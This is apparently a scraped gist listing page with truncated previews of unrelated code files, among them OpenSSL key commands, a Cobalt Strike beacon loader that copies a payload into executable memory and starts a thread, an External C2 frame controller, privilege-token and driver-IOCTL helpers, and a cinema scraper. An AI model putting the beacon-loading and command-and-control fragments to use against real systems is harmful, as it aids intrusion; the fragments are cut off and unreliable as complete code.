# Key considerations for algorithm "RSA" ≥ 2048-bit
openssl genrsa -out server.key 2048
# Key considerations for algorithm "ECDSA" ≥ secp384r1
# List ECDSA the supported curves (openssl ecparam -list_curves)
openssl ecparam -genkey -name secp384r1 -out server.key
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <Windows.h> | |
#include <WinDNS.h> | |
// Pattern for hunting dnsapi!McTemplateU0zqxqz | |
#define PATTERN (unsigned char*)"\x48\x89\x5c\x24\x08\x44\x89\x4c\x24\x20\x55\x48\x8d\x6c" | |
#define PATTERN_LEN 14 | |
// Search for pattern in memory | |
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
int main() | |
{ | |
ICLRMetaHost *metaHost = NULL; | |
IEnumUnknown *runtime = NULL; | |
ICLRRuntimeInfo *runtimeInfo = NULL; | |
ICLRRuntimeHost *runtimeHost = NULL; | |
IUnknown *enumRuntime = NULL; | |
LPWSTR frameworkName = NULL; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread | |
void spawnBeacon(char *payload, DWORD len) { | |
HANDLE threadHandle; | |
DWORD threadId = 0; | |
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
memcpy(alloc, payload, len); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread | |
void spawnBeacon(char *payload, DWORD len) { | |
HANDLE threadHandle; | |
DWORD threadId = 0; | |
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
memcpy(alloc, payload, len); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import struct | |
import time | |
class ExternalC2Controller: | |
def __init__(self, port): | |
self.port = port | |
def encodeFrame(self, data): | |
return struct.pack("<I", len(data)) + data |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
BOOL SetPrivilege(HANDLE hToken, LPCTSTR Privilege, BOOL bEnablePrivilege) { | |
TOKEN_PRIVILEGES tp; | |
LUID luid; | |
TOKEN_PRIVILEGES tpPrevious; | |
DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES); | |
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require('dotenv').config(); | |
var mysql = require('mysql'); | |
let hosPool = mysql.createPool({ | |
host: process.env.HOS_HOST, | |
user: process.env.HOS_USER, | |
password: process.env.HOS_PASSWORD, | |
database: process.env.HOS_DATABASE, | |
port: process.env.HOS_PORT | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
from ctypes import * | |
FILE_DEVICE_UNKNOWN = 0x00000022 | |
METHOD_BUFFERED = 0 | |
FILE_ANY_ACCESS = 0 | |
TC_MAX_PATH = 260 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var request = require('request'); | |
var cheerio = require('cheerio'); | |
var schedule = require('node-schedule'); | |
var trim = require('trim'); | |
var names =[], | |
dates =[]; | |
j = schedule.scheduleJob('0 20 * * 4', function(){ | |
request('http://www.cinemark.com.ar/ajaxCartelera.aspx?filter=Proximos', function (error, response, html) { |
NewerOlder